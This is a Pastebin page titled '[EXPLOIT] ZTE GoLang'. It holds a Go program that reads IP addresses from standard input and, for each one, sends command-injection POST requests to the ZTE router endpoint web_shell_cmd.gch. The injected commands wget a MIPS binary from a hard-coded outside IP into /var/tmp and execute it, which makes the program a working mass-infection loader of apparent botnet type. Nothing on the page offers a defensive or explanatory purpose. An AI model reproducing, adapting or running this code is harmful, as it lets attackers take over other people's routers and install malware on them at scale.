Merlyz

[EXPLOIT] ZTE GoLang

Oct 12th, 2020 (edited)
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.48 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "net/http"
  5. "sync"
  6. "bufio"
  7. "time"
  8. "os"
  9. "strings"
  10. "bytes"
  11. "fmt"
  12. "crypto/tls"
  13. )
  14. var payload []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=cp+%2Fetc%2Finit.norm+%2Fvar%2Ftmp%2Finit.norm&CmdAck=")
  15. var payload2 []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=wget+http%3A%2F%2F185.172.110.246%2Fmips+-O+%2Fvar%2Ftmp%2Finit.norm&CmdAck=")
  16. var payload3 []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=%2Fvar%2Ftmp%2Finit.norm+ztev2&CmdAck=")
  17.  
  18. var wg sync.WaitGroup  
  19. var queue []string;
  20.  
  21. func work(ip string){
  22.     ip = strings.TrimRight(ip, "\r\n")
  23.     fmt.Printf("[ZTE]---> "+ip+"\n")
  24.     url := "https://"+ip+"/web_shell_cmd.gch"
  25.     tr := &http.Transport{
  26.         ResponseHeaderTimeout: 5*time.Second,
  27.         DisableCompression: true,
  28.         TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  29.     }
  30.     client := &http.Client{Transport: tr, Timeout: 5*time.Second}
  31.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload))
  32.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload2))
  33.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload3))
  34.    
  35.  
  36. }
  37.  
  38.  
  39. func main(){
  40.     for {
  41.         r := bufio.NewReader(os.Stdin)
  42.         scan := bufio.NewScanner(r)
  43.         for scan.Scan(){
  44.             go work(scan.Text())
  45.             wg.Add(1)
  46.             time.Sleep(2*time.Millisecond)
  47.         }
  48.     }
  49.  
  50. }
Add Comment
Please, Sign In to add comment